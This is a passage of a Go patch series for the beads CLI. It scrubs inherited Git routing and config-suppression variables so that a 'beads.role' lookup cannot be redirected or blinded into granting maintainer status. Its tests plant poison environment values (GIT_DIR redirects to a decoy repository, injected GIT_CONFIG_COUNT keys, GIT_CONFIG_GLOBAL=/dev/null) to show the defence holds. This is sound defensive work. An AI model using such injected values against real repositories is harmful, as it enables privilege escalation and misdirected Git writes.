global string + inline, warning bool + want UserRole + }{ + {"repository", "maintainer", "", false, false, Maintainer}, + {"inline", "maintainer", "", true, false, Maintainer}, + {"missing_remote", "", "", false, true, Contributor}, + {"invalid_remote", "invalid", "", false, true, Contributor}, + {"default_global", "", "maintainer", true, false, Maintainer}, + } { + t.Run(tc.name, func(t *testing.T) { + home, target, decoy := t.TempDir(), t.TempDir(), t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + if tc.global != "" { + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = "+tc.global+"\n"), 0o600); err != nil { + t.Fatal(err) + } + } + for _, repo := range []string{target, decoy} { + runGit(t, repo, "init", "--quiet") + } + runGit(t, decoy, "config", "beads.role", "contributor") + runGit(t, decoy, "remote", "add", "origin", "git@example.invalid:owner/decoy.git") + runGit(t, target, "remote", "add", "origin", "https://example.invalid/owner/target.git") + if tc.role != "" { + runGit(t, target, "config", "beads.role", tc.role) + } + poison := map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy} + if tc.inline { + poison = map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "beads.role", "GIT_CONFIG_VALUE_0": "contributor"} + } + for key, value := range poison { + t.Setenv(key, value) + } + var got UserRole + var err error + stderr := captureStderr(t, func() { got, err = DetectUserRole(target) }) + if err != nil || got != tc.want { + t.Errorf("DetectUserRole(target) = %q, %v; want %q", got, err, tc.want) + } + if strings.Contains(stderr, "beads.role not configured") != tc.warning { + t.Errorf("fallback warning = %q; want warning=%v", stderr, tc.warning) + } + for key, value := range poison { + if os.Getenv(key) != value { + t.Errorf("reader changed parent environment %s", key) + } + } + }) + } +} + +// TestDetectUserRoleIgnoresInheritedConfigSuppression is the deny-direction +// counterpart to the test above. Injecting a role is not the only way to steer +// role detection: an inherited config-suppression entry blinds the lookup +// instead, and DetectUserRole answers a miss with detectFromURL, whose +// no-remote arm returns Maintainer. So the reader must discard suppression too, +// not just redirects. +// +// Only the global-file vector is observable end to end: repository config is +// never suppressed by these variables, and a system file cannot be planted +// hermetically because GIT_CONFIG_SYSTEM= is itself scrubbed. The +// GIT_CONFIG_NOSYSTEM and GIT_CONFIG_SYSTEM forms are pinned one level down, in +// gitenv.TestScrubRoutingAndSuppressionDropsSuppression. +func TestDetectUserRoleIgnoresInheritedConfigSuppression(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + t.Chdir(t.TempDir()) + + home, target := t.TempDir(), t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = contributor\n"), 0o600); err != nil { + t.Fatal(err) + } + // No local role and no origin: the only arms left after a blinded read are + // detectFromURL's permissive ones, so an escalation would be visible. + initCmd := exec.Command("git", "init", "--quiet") + initCmd.Dir = target + initCmd.Env = gitenv.ScrubRouting(os.Environ()) + if out, err := initCmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git init: %v: %s", err, out) + } + + for _, tc := range []struct { + name, blind string + }{ + // Fixture guard: without blinding the global role must be readable at + // all, otherwise every case below would pass for the wrong reason. + {"unblinded", ""}, + {"global_null", os.DevNull}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.blind != "" { + t.Setenv("GIT_CONFIG_GLOBAL", tc.blind) + } + var got UserRole + var err error + captureStderr(t, func() { got, err = DetectUserRole(target) }) + if err != nil { + t.Fatalf("DetectUserRole(target) error: %v", err) + } + if got != Contributor { + t.Errorf("DetectUserRole(target) = %q, want %q: a blinded role read must not escalate", got, Contributor) + } + }) + } +} diff --git a/internal/storage/domain/git.go b/internal/storage/domain/git.go index de2684a98..69bd6c9c3 100644 --- a/internal/storage/domain/git.go +++ b/internal/storage/domain/git.go @@ -76,7 +76,11 @@ type CommitInitArtifactsResult struct { DidCommit bool } -const beadsRoleConfigKey = "beads.role" +// BeadsRoleConfigKey is the git config key that carries role authority. +// It is exported because the GitRepository adapters select the strict +// role-authority environment on this key, so the two sides must not drift into +// separate spellings of one contract. +const BeadsRoleConfigKey = "beads.role" func NewGitUseCase(workDir string, repo GitRepository) GitUseCase { return &gitUseCaseImpl{workDir: workDir, repo: repo} @@ -149,14 +153,14 @@ func (u *gitUseCaseImpl) DetectFork(ctx context.Context) (bool, string, error) { } func (u *gitUseCaseImpl) BeadsRole(ctx context.Context) (string, bool, error) { - return u.repo.GetConfig(ctx, beadsRoleConfigKey) + return u.repo.GetConfig(ctx, BeadsRoleConfigKey) } func (u *gitUseCaseImpl) SetBeadsRole(ctx context.Context, role string) error { if role == "" { return fmt.Errorf("SetBeadsRole: role must not be empty") } - return u.repo.SetConfig(ctx, beadsRoleConfigKey, role) + return u.repo.SetConfig(ctx, BeadsRoleConfigKey, role) } func (u *gitUseCaseImpl) HasAnyRemotes(ctx context.Context) bool { diff --git a/internal/storage/domain/git/git.go b/internal/storage/domain/git/git.go index 4a9071546..2cbc4a9fa 100644 --- a/internal/storage/domain/git/git.go +++ b/internal/storage/domain/git/git.go @@ -21,6 +21,8 @@ func NewGitRepository(workDir string) domain.GitRepository { // NewInitGitRepository binds init artifact operations to the selected workDir. // The generic constructor retains inherited routing for its existing callers. +// beads.role reads and writes re-scrub this captured environment for config +// suppression as well; see roleAuthorityEnv for why that is not optional here. func NewInitGitRepository(workDir string) domain.GitRepository { return &gitRepositoryImpl{workDir: workDir, env: gitenv.ScrubRouting(os.Environ())} } @@ -102,13 +104,33 @@ func (r *gitRepositoryImpl) Init(ctx context.Context) error { return nil } +// roleAuthorityEnv returns the environment for a beads.role read or write. +// The role grants privilege, so this boundary drops the explicit config +// suppression that ScrubRouting deliberately preserves: an inherited +// GIT_CONFIG_GLOBAL=/dev/null blinds the lookup, and the proxied init tail +// answers a missing role by persisting "maintainer" into repository-local +// config, where it then outranks the global value for every later read. +// +// The strict scrub applies to whichever environment this repository already +// carries, not to os.Environ(), so a captured environment keeps its own HOME +// and loses only the suppression entries. Testing r.env for nil instead would +// leave the arm dead on the one production role path, which always arrives +// through NewInitGitRepository and therefore always carries a captured env. +func (r *gitRepositoryImpl) roleAuthorityEnv() []string { + env := r.env + if env == nil { + env = os.Environ() + } + return gitenv.ScrubRoutingAndSuppression(env) +} + func (r *gitRepositoryImpl) GetConfig(ctx context.Context, key string) (string, bool, error) { if key == "" { return "", false, fmt.Errorf("git: GetConfig: key must not be empty") } cmd := r.gitCmd(ctx, "config", "--get", key) - if key == "beads.role" && r.env == nil { - cmd.Env = gitenv.ScrubRouting(os.Environ()) + if key == domain.BeadsRoleConfigKey { + cmd.Env = r.roleAuthorityEnv() } out, err := cmd.Output() if err != nil { @@ -134,8 +156,8 @@ func (r *gitRepositoryImpl) SetConfig(ctx context.Context, key, value string) er return fmt.Errorf("git: SetConfig: key must not be empty") } cmd := r.gitCmd(ctx, "config", key, value) - if key == "beads.role" && r.env == nil { - cmd.Env = gitenv.ScrubRouting(os.Environ()) + if key == domain.BeadsRoleConfigKey { + cmd.Env = r.roleAuthorityEnv() } out, err := cmd.CombinedOutput() if err != nil { diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 8e555986a..87a719a26 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -72,14 +72,17 @@ func (s *testSuite) TestConfig_ReadFailuresAreNotMissing() { original, err := os.ReadFile(configPath) s.Require().NoError(err) for _, tc := range []struct { - name, key string - exitCode int + name, key string + exitCode int + roleReadFails bool }{ - {"malformed_config", "beads.role", 128}, - {"invalid_key", "invalid", 1}, - // beads.role reads now scrub GIT_CONFIG* routing, so a routing poison can - // only reach a key that is not role-scoped. - {"invalid_routing_boolean", "test.marker", 128}, + {"malformed_config", "beads.role", 128, true}, + {"invalid_key", "invalid", 1, false}, + // A beads.role read scrubs inherited config suppression, so a bad + // GIT_CONFIG_NOSYSTEM value never reaches that one key. Read a key that + // still inherits it, so the env-borne failure stays covered, and pin the + // role read's immunity below rather than dropping the case. + {"invalid_routing_boolean", "core.bare", 128, false}, } { s.Run(tc.name, func() { switch tc.name { @@ -104,10 +107,14 @@ func (s *testSuite) TestConfig_ReadFailuresAreNotMissing() { diagnostic := strings.TrimSpace(string(exitErr.Stderr)) s.Require().NotEmpty(diagnostic) s.Contains(err.Error(), diagnostic) - if tc.name == "malformed_config" { + if tc.roleReadFails { _, _, roleErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) s.Require().Error(roleErr) s.ErrorAs(roleErr, &exitErr) + } else if tc.name == "invalid_routing_boolean" { + _, found, roleErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) + s.Require().NoError(roleErr) + s.False(found) } if tc.name == "invalid_routing_boolean" { // The same poison that fails the read above cannot reach beads.role, @@ -467,9 +474,12 @@ func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { t.Setenv(key, changedHome) } role, found, err := inherited.GetConfig(t.Context(), "beads.role") - // The generic reader runs under the caller's current environment, so the - // broken HOME config surfaces as a preserved read failure, not absence. + // changedHome is the only HOME here holding a .gitconfig, so Git's + // refusal to parse that file is what proves the generic reader used + // the current caller environment rather than a captured one. The + // reader surfaces such read failures instead of reporting absence. require.Error(t, err, "generic role reads still use the current caller environment") + require.ErrorContains(t, err, ".gitconfig") require.False(t, found) require.Empty(t, role) require.Error(t, inherited.SetConfig(t.Context(), "beads.role", "decoy")) @@ -482,3 +492,59 @@ func TestInitGitRepositoryUsesSelectedDirectory(t *testing.T) { }) } } + +// TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression pins the role +// boundary on the environment the production path actually carries. cmd/bd's +// proxied init tail always rebinds the use case to NewInitGitRepository +// (cmd/bd/init_proxied_server.go), so the *captured* environment — not +// os.Environ() — is the one a beads.role lookup has to be strict about. An +// inherited GIT_CONFIG_GLOBAL=/dev/null that survives into that capture blinds +// the read, and the tail answers a missing role by writing "maintainer" into +// repository-local config, where it outranks the global value from then on. A +// guard keyed on the environment's provenance would therefore be dead exactly +// where the escalation happens. +// +// Only the global-file vector is observable end to end here, for the reasons +// internal/routing's counterpart test records: repository config is never +// suppressed by these variables, and GIT_CONFIG_SYSTEM= is itself +// scrubbed. The remaining forms are pinned in gitenv's suppression table. +func TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + } + home, target := t.TempDir(), t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + require.NoError(t, os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\n\trole = contributor\n"), 0600)) + // No local role in the target: the global file is the only place the answer + // can come from, so blinding it is visible as a miss. + initCmd := exec.Command("git", "init", "--quiet") + initCmd.Dir, initCmd.Env = target, gitenv.ScrubRouting(os.Environ()) + out, err := initCmd.CombinedOutput() + require.NoError(t, err, "fixture git init: %s", out) + + for _, tc := range []struct{ name, blind string }{ + // Fixture guard: the global role must be readable at all, otherwise the + // blinded case below would pass for the wrong reason. + {"unblinded", ""}, + {"global_null", os.DevNull}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.blind != "" { + t.Setenv("GIT_CONFIG_GLOBAL", tc.blind) + } + // Constructed inside the subtest: the constructor captures the + // environment, so the suppression entry has to be present first. + useCase := domain.NewGitUseCase(target, NewInitGitRepository(target)) + role, found, err := useCase.BeadsRole(t.Context()) + require.NoError(t, err) + require.True(t, found, "a blinded role read makes the init tail persist a maintainer default") + require.Equal(t, "contributor", role) + }) + } +} diff --git a/scripts/ci/test-windows-env-helpers.sh b/scripts/ci/test-windows-env-helpers.sh index 31894452b..e8be1e33c 100644 --- a/scripts/ci/test-windows-env-helpers.sh +++ b/scripts/ci/test-windows-env-helpers.sh @@ -35,6 +35,8 @@ required=( TestScrubEnvDoesNotEqualFoldUnicodeKeys TestStderrDirectedWindowsLeadingSlashIsFileTarget TestScrubRoutingUsesHostKeySemantics + TestScrubRoutingPreservesConfigSuppression + TestScrubRoutingAndSuppressionDropsSuppression ) for name in "${required[@]}"; do count=$(grep -Ec "^[[:space:]]*--- PASS: $name \\(" "$log" || true) From 6a4b4aa14e149692293fee3b097ca1bbd9b745d6 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sun, 27 Sep 2026 19:07:43 -0600 Subject: [PATCH 167/624] fix(hooks): identify the index context behind tracked-file refusals (#6457) * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): isolate role commands from Git routing (saa-cgh.99) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6357. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(config): explain role command routing policy (saa-cgh.99) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(git): isolate domain role configuration from inherited routing (saa-cgh.109.5) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): probe the selected repository before configuring roles (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(init): explain role probe discovery ceiling behavior (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind proxied tail Git operations to selected directory (saa-cgh.109.14) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve CRLF when appending project rules (saa-cgh.96) Reported by bee-ghosttrack in gastownhall/beads#6343. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): pin detector edge cases and clarify append behavior (saa-cgh.96) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve line endings in Git exclude appends (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): clarify exclude fixture path variable (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): refuse exclude writes after read errors (saa-cgh.110) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): share append byte composition (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(gitignore): explain append aliasing and trailing CR completion (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): use shared composition for exclude rules (saa-cgh.111) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): omit the empty exclude leading separator (saa-cgh.112) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind exclude writers to the selected Git directory (saa-cgh.109.16) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate tracked-file guard from Git routing (saa-cgh.98) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6356. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): retain legitimate inherited tracking context (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): isolate trusted global configuration fixture (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(hooks): explain conservative tracked-file guard (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(git): resolve hooks paths in an explicit read-only context (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Bind init hook operations to the selected repository (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Give the hooks tail fixture an explicit remote context (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(git): canonicalize the hooks fixture repository root (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): complete selected hook options and alias handling (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Clarify hooks resolver ownership and preserve work-tree diagnostics (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Explain restoration of absent routing variables in selected exclude tests (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Keep init role operations on the captured selected Git context (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Align selected-tail fixtures with captured role authority (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Identify the Git index behind tracked-hook refusals (saa-cgh.120.13) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(review): repair work-tree-less hook install and the fail-open secret guard Maintainer adoption-review fixes for #6457 (iterations 1 and 2). Blocking: - cmd/bd, internal/git: `bd init` in a repository with no work tree stopped installing hooks and printed "Failed to resolve git hooks". git.ResolveHooksContext requires a work tree and deliberately errors without one, so routing the selected-init path through it lost a capability base had via beads.FindBeadsDir(). Add git.ResolveWorkTreelessHooksContext as the explicit counterpart (empty RepoRoot/MainRepoRoot, relative core.hooksPath anchored to the common directory) and fall back to it, so the install keeps the selected, scrubbed context rather than the inherited one. It keys on "the common directory resolved but the work tree did not", so it covers a bare repository and a cwd inside a repository's own .git alike, and still refuses non-repositories and directories inside a work tree. The `bare` and `git_dir_cwd` rows in the hooks table test pin both shapes and assert the install lands in the selected storage and configures the selected repository. - internal/config: isGitTracked scrubbed Git routing with no fallback, so in a checkout reachable only through legitimate GIT_DIR/GIT_WORK_TREE routing the probe found no repository at all, the guard concluded "untracked", and `bd config set ` wrote the credential into a git-tracked config.yaml where base refused. Give it the same two-probe shape as hooks.gitTrackedFileContextWithEnv, with a legitimate-routing test. - internal/config, internal/gitenv, docs: state the GIT_CEILING_DIRECTORIES widening plainly rather than pairing it with a containment clause that is false at every live call site. `-C`/cmd.Dir fixes where discovery starts, not where it stops, so with the ceiling scrubbed the walk can reach a containing repository above cwd; all three gitDirsForRepo call sites pass the process working directory, which need not be a repository root. This mirrors the wording init_proxied_server.go already had, so the tree no longer holds contradictory statements about the same primitive. - cmd/bd/config.go: the policy comment claimed all role commands ignore inherited Git routing. Name the scrubbed paths without asserting a closed set -- `bd config set/get/unset/set-many beads.role`, and the proxied-init role tail, which goes through domain.GitUseCase.BeadsRole/SetBeadsRole and is scrubbed on both of that repository's constructor arms -- and say that a path which does not scrub still goes through the inherited environment: such readers include internal/routing.roleFromGitConfig, RepoContext.Role, doctor.CheckBeadsRole, `bd config show` and init.getBeadsRole; such writers include init.setBeadsRole, `bd init --contributor` and `bd hooks --uninstall`. The earlier wording framed the exception as role *resolution* only, which reads as isolating the write plane when it is not isolated; a quantifier over "every other" reader and writer goes stale in the opposite direction, since set-many and the proxied-init tail are scrubbed, so neither list is exhaustive here. Non-blocking: - Scope the worktrees.md paragraph to the one startup probe that is scrubbed. - Replace normalizeWorktreeGitEnvKey's ToUpper fold with execenv.KeyEqualForOS so one subprocess key identity survives the PR. - Compare beads.role against domain.BeadsRoleConfigKey with strings.ToLower rather than strings.EqualFold, matching execenv.keyIdentityForWindows and git's ASCII-only key folding, and pin it with Beads.Role/BEADS.ROLE rows through GetConfig/SetConfig. - Share the HooksContext workDir anchoring and symlink/case normalization between both resolvers, so no producer of that type emits a spelling the others do not. - Branch the tracked-hook remediation hint on the proof label, so the inherited case points at the routing rather than at `git rm --cached`. - Restore the hook-status gate on the pure-JJ alias hint (base parity). - Note that the boolean tracked-file wrappers are test-only. Co-Authored-By: Claude Opus 5 * fix(review): reconcile the beads.role scrub with base #6477 on the refreshed base Refreshing onto main 511849496 pulled in cf683435e (#6477), which makes domain/git GetConfig propagate Git's exit error instead of mapping every *exec.ExitError to absence. That collides with this stack's beads.role scrub in both directions, and neither lane's CI could see it: the PR lane builds against a base where #6477's test does not exist, and main's lane never has the PR. Only the merged tree fails (each half passes on its own side alone). The test half is taken byte-identically from stack parent #6464, which already pushed this resolution against the same base commit (head 0fe936944). Both PRs target main with every parent still open, so a divergent-but-equivalent fix here would collide in the same file when the stack lands; copying theirs means the two auto-merge. Re-validated and re-mutation-proven here rather than assumed: - TestConfig_ReadFailuresAreNotMissing drops its "invalid_routing_boolean" row, whose poisoned GIT_CONFIG_NOSYSTEM can no longer reach git for beads.role (IsRoutingKeyForOS scrubs the whole GIT_CONFIG* prefix for that key), and gains TestConfig_BeadsRoleScrubsInheritedRoutingEnv, which pins both halves: the role key ignores the poison, and a key outside the scrub (user.name) still surfaces it as exit 128 rather than as an absent key. #6477's read-failure contract for beads.role itself is untouched, still proved by malformed_config through the repository's own config file. - TestInitGitRepositoryUsesSelectedDirectory/captured_home asserted require.NoError with the comment "The existing reader maps Git exit errors to absence" -- the premise #6477 deleted. It now requires the exit-128 error, which is itself the proof that the generic constructor read the *current* caller environment: only that environment can see the planted .gitconfig. Mutation proofs at this head: deleting the beads.role carve-out reds TestConfig_BeadsRoleScrubsInheritedRoutingEnv; reverting #6477's classification reds both that test and captured_home. So neither retargeted fixture is vacuous. Also silence two gosec G702 findings that only appear with this branch present. Unscoped `make ci-pr-lint` at CI's v2.10.1 pin scores 0 on the old base and 0 on current main, 1 on the pre-refresh adopted head (cmd/bd/worktree.go:22) and 2 on the refreshed head (+ cmd/bd/hooks.go:1823). pr.yml scopes golangci-lint to the PR's own diff so it can never report them, but main.yml deliberately sweeps the whole tree, so they would red main's Lint job on the first push after merge. Production reachability is identical on all three trees, so this is taint widening rather than a new call path. Both sinks run a fixed "git" binary with constant subcommands, matching the justification at init_stealth.go:84. cmd/bd/worktree.go is the only file this adds beyond the branch's own 50; #6464 does not touch it, so the annotation cannot collide with the parent either. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/fs_adapters.go | 28 +++++ cmd/bd/hooks.go | 143 ++++++++++++++++++----- cmd/bd/hooks_guard_test.go | 89 +++++++++++++++ cmd/bd/hooks_worktree_test.go | 145 ++++++++++++++++++++++++ cmd/bd/init_git_hooks.go | 78 ++++++++++++- cmd/bd/init_proxied_server.go | 48 ++++---- cmd/bd/init_proxied_server_test.go | 119 +++++++++++++++++++ cmd/bd/worktree.go | 2 + cmd/bd/worktree_cmd.go | 12 +- docs/reference/worktrees.md | 24 ++-- internal/config/config.go | 8 +- internal/config/git_routing_test.go | 50 ++++++++ internal/git/gitdir.go | 91 ++++++++++++--- internal/gitenv/routing.go | 5 +- internal/storage/domain/git/git.go | 13 ++- internal/storage/domain/git/git_test.go | 104 ++++++++++++++--- 16 files changed, 861 insertions(+), 98 deletions(-) diff --git a/cmd/bd/fs_adapters.go b/cmd/bd/fs_adapters.go index b4a923dce..fa14070ee 100644 --- a/cmd/bd/fs_adapters.go +++ b/cmd/bd/fs_adapters.go @@ -1,6 +1,8 @@ package main import ( + "context" + "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/cmd/bd/setup" "github.com/steveyegge/beads/internal/config" @@ -46,3 +48,29 @@ func newInitFileSystemAdapters(workDir string) domain.BeadsDirFSAdapters { } return adapters } + +// withInitHooks scopes only hook operations; exclude and the other supplied +// callbacks keep their existing provider. Empty paths retain isolated callers. +func withInitHooks(fs domain.BeadsDirFSUseCase, workDir, beadsDir string) (domain.BeadsDirFSUseCase, *initHooksContext, error) { + if workDir == "" { + return fs, nil, nil + } + hooks, err := resolveInitHooksContext(workDir, beadsDir) + if err != nil { + return nil, nil, err + } + return initHooksFileSystem{BeadsDirFSUseCase: fs, hooks: hooks}, hooks, nil +} + +type initHooksFileSystem struct { + domain.BeadsDirFSUseCase + hooks *initHooksContext +} + +func (fs initHooksFileSystem) InstallGitHooks(_ context.Context, p domain.HooksInstallParams) error { + return installHooksWithContext(p.HookNames, p.Force, p.Shared, p.Chain, p.BeadsHooks, fs.hooks) +} + +func (fs initHooksFileSystem) InstallJJHooks(_ context.Context) error { + return installHooksWithContext(jjHookNames, false, false, false, false, fs.hooks) +} diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 9be51e6e8..63a3e42c4 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -516,20 +516,21 @@ type HookStatus struct { // CheckGitHooks checks the status of bd git hooks in .git/hooks/ func CheckGitHooks() []HookStatus { - hooks := []string{"pre-commit", "post-merge", "pre-push", "post-checkout", "prepare-commit-msg"} - statuses := make([]HookStatus, 0, len(hooks)) - - // Get hooks directory from common git dir (hooks are shared across worktrees) hooksDir, err := git.GetGitHooksDir() if err != nil { // Not a git repo - return all hooks as not installed - for _, hookName := range hooks { + statuses := make([]HookStatus, 0, len(managedHookNames)) + for _, hookName := range managedHookNames { statuses = append(statuses, HookStatus{Name: hookName, Installed: false}) } return statuses } + return checkGitHooksAt(hooksDir) +} - for _, hookName := range hooks { +func checkGitHooksAt(hooksDir string) []HookStatus { + statuses := make([]HookStatus, 0, len(managedHookNames)) + for _, hookName := range managedHookNames { status := HookStatus{ Name: hookName, } @@ -818,6 +819,10 @@ var hooksListCmd = &cobra.Command{ // allowTracked exempts shared installs (.beads-hooks/ is deliberately // committed). func guardHookWritePath(hookPath string, allowTracked bool) error { + return guardHookWritePathWithProbe(hookPath, allowTracked, gitTrackedFileContext) +} + +func guardHookWritePathWithProbe(hookPath string, allowTracked bool, tracked func(string) string) error { fi, err := os.Lstat(hookPath) if err != nil { if os.IsNotExist(err) { @@ -841,8 +846,16 @@ func guardHookWritePath(hookPath string, allowTracked bool) error { // foreign tracked file dirties every clone that shares it (the wy-81fnur // incident). A bd-owned hook the user chose to commit (e.g. a team-shared // .beads/hooks/) is bd's to maintain — same policy as shared installs. - if isGitTrackedFile(hookPath) && !isBdOwnedHookFile(hookPath) { - return fmt.Errorf("%s is tracked by git and not a bd-managed hook; bd will not modify committed files it does not own\nUntrack it (git rm --cached) or move hooks to an untracked directory and re-run", hookPath) + if proof := tracked(hookPath); proof != "" && !isBdOwnedHookFile(hookPath) { + // `git rm --cached` only aims at the index that supplied the proof if the + // operator's shell still carries the same routing bd saw, so the inherited + // case names clearing that routing as the remedy instead. Both remediations + // are fixed strings; neither exposes an inherited value. + remediation := "Untrack it (git rm --cached) or move hooks to an untracked directory and re-run" + if proof == trackedProofInheritedIndex { + remediation = "Clear the inherited Git routing environment and re-run, or untrack it (git rm --cached) in the index that routing selects" + } + return fmt.Errorf("%s is tracked by git (%s) and not a bd-managed hook; bd will not modify committed files it does not own\n%s", hookPath, proof, remediation) } return nil } @@ -861,39 +874,86 @@ func isBdOwnedHookFile(path string) bool { return err == nil && versionInfo.IsBdHook } +// Fixed labels naming which index supplied a tracked-file proof. They are +// constants so the refusal can branch on the evidence source without +// reproducing the wording. +const ( + trackedProofContainingIndex = "containing repository index" + trackedProofInheritedIndex = "inherited Git index" +) + // isGitTrackedFile reports whether either 